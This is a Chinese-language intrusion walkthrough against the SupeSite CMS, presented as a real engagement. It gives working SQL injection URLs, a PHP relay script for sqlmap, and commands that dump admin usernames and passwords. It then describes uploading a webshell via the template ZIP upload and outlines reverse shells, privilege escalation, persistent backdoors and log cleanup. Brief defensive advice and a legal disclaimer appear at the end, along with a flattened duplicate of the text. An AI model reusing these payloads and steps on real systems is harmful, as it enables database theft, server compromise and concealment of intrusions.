记一次针对SupeSite的中转注入实战
字数 976 2025-08-15 21:33:39

SupeSite中转注入实战技术文档

1. 漏洞背景

SupeSite是一款历史悠久的CMS系统,存在SQL注入漏洞点位于:

batch.common.php?action=modelquote&cid=1&name=spacecomments

2. 手工注入测试

2.1 确定字段数量

使用order by语句逐步测试字段数量:

http://www.xxxxx.com/batch.common.php?action=modelquote&cid=1&name=spacecomments%20order%20by%20xxx%23

2.2 确定显示位

通过union select确定哪些字段会在页面显示:

http://www.xxxx.com/batch.common.php?action=modelquote&cid=1&name=spacecomments%20where%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12%23

2.3 获取数据库信息

获取当前数据库名称:

http://www.xxxxx.com/batch.common.php?action=modelquote&cid=1&name=spacecomments%20where%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,database()%23

2.4 尝试获取表名

由于目标MySQL版本为4.0,无法使用information_schema.tables,手工注入受阻。

3. SQLMap中转注入技术

3.1 直接SQLMap测试失败

直接使用SQLMap无法获取结果:

sqlmap -u "http://www.xxxxx.com/batch.common.php?action=modelquote&cid=1&name=spacecomments" -v 3 --dbms=mysql --tamper=space2comment --risk=3 --level=5 --random-agent --dbs --batch

3.2 搭建中转脚本

创建PHP中转文件(sql.php):

<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(" ","%20",$id);
$id=str_replace("=","%3D",$id);
$url = "http://www.xxxxx.com/batch.common.php?action=modelquote&cid=1&name=spacecomments%20where%201=$id%23";
echo $url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>

3.3 通过中转使用SQLMap

sqlmap -u "http://127.0.0.1/sql.php?id=1" --dbms=mysql --time-sec 5 --dbs

3.4 解决MySQL 4.0版本限制

由于MySQL 4.0无法使用information_schema,需要准备字典:

  1. 确定数据库为Discuz
  2. 查阅Discuz数据库结构准备表名字典
  3. 使用字典跑表名:
sqlmap -u "http://127.0.0.1/sql.php?id=1" --dbms=mysql --time-sec 5 -D Discuz --tables
  1. 使用字典跑列名:
sqlmap -u "http://127.0.0.1/sql.php?id=1" --dbms=mysql --time-sec 5 -D Discuz -T cdb_members --columns
  1. 导出数据:
sqlmap -u "http://127.0.0.1/sql.php?id=1" --dbms=mysql --time-sec 5 -D Discuz -T cdb_members -C "username,password" --dump

4. 获取WebShell

4.1 后台登录

使用获取的管理员账号密码(MD5需破解)登录后台。

4.2 上传WebShell

  1. 将WebShell压缩为ZIP文件
  2. 通过模板上传功能上传ZIP文件
  3. 系统会自动解压到随机目录
  4. 在备份管理中查看解压路径
  5. 使用中国菜刀连接WebShell

4.3 获取数据库配置

在WebShell中查找配置文件:

config.php

5. 数据库导出与导入

5.1 使用Adminer导出

  1. 上传adminer.php到服务器
  2. 通过Web界面访问adminer.php
  3. 选择导出SQL格式
  4. 压缩后下载

5.2 本地数据库导入

Windows环境:

使用Navicat等工具直接导入

Kali Linux环境:

  1. 创建空数据库:
mysql> create database Discuz;
  1. 导入数据库:
mysql> use Discuz;
mysql> set names utf8;
mysql> source /home/Discuz.sql;

6. 后续渗透步骤

  1. 上传反弹WebShell获取交互式会话
  2. 尝试系统提权
  3. 部署持久化后门
  4. 清理入侵痕迹

7. 防御建议

  1. 升级SupeSite到最新版本
  2. 对用户输入进行严格过滤
  3. 禁用危险函数如eval、system等
  4. 设置上传文件类型限制
  5. 定期更新服务器组件和补丁

8. 法律声明

本文所述技术仅供安全研究和授权测试使用,未经授权对他人系统进行测试属于违法行为,请遵守《网络安全法》等相关法律法规。

SupeSite中转注入实战技术文档 1. 漏洞背景 SupeSite是一款历史悠久的CMS系统,存在SQL注入漏洞点位于: 2. 手工注入测试 2.1 确定字段数量 使用 order by 语句逐步测试字段数量: 2.2 确定显示位 通过union select确定哪些字段会在页面显示: 2.3 获取数据库信息 获取当前数据库名称: 2.4 尝试获取表名 由于目标MySQL版本为4.0,无法使用information_ schema.tables,手工注入受阻。 3. SQLMap中转注入技术 3.1 直接SQLMap测试失败 直接使用SQLMap无法获取结果: 3.2 搭建中转脚本 创建PHP中转文件(sql.php): 3.3 通过中转使用SQLMap 3.4 解决MySQL 4.0版本限制 由于MySQL 4.0无法使用information_ schema,需要准备字典: 确定数据库为Discuz 查阅Discuz数据库结构准备表名字典 使用字典跑表名: 使用字典跑列名: 导出数据: 4. 获取WebShell 4.1 后台登录 使用获取的管理员账号密码(MD5需破解)登录后台。 4.2 上传WebShell 将WebShell压缩为ZIP文件 通过模板上传功能上传ZIP文件 系统会自动解压到随机目录 在备份管理中查看解压路径 使用中国菜刀连接WebShell 4.3 获取数据库配置 在WebShell中查找配置文件: 5. 数据库导出与导入 5.1 使用Adminer导出 上传adminer.php到服务器 通过Web界面访问adminer.php 选择导出SQL格式 压缩后下载 5.2 本地数据库导入 Windows环境: 使用Navicat等工具直接导入 Kali Linux环境: 创建空数据库: 导入数据库: 6. 后续渗透步骤 上传反弹WebShell获取交互式会话 尝试系统提权 部署持久化后门 清理入侵痕迹 7. 防御建议 升级SupeSite到最新版本 对用户输入进行严格过滤 禁用危险函数如eval、system等 设置上传文件类型限制 定期更新服务器组件和补丁 8. 法律声明 本文所述技术仅供安全研究和授权测试使用,未经授权对他人系统进行测试属于违法行为,请遵守《网络安全法》等相关法律法规。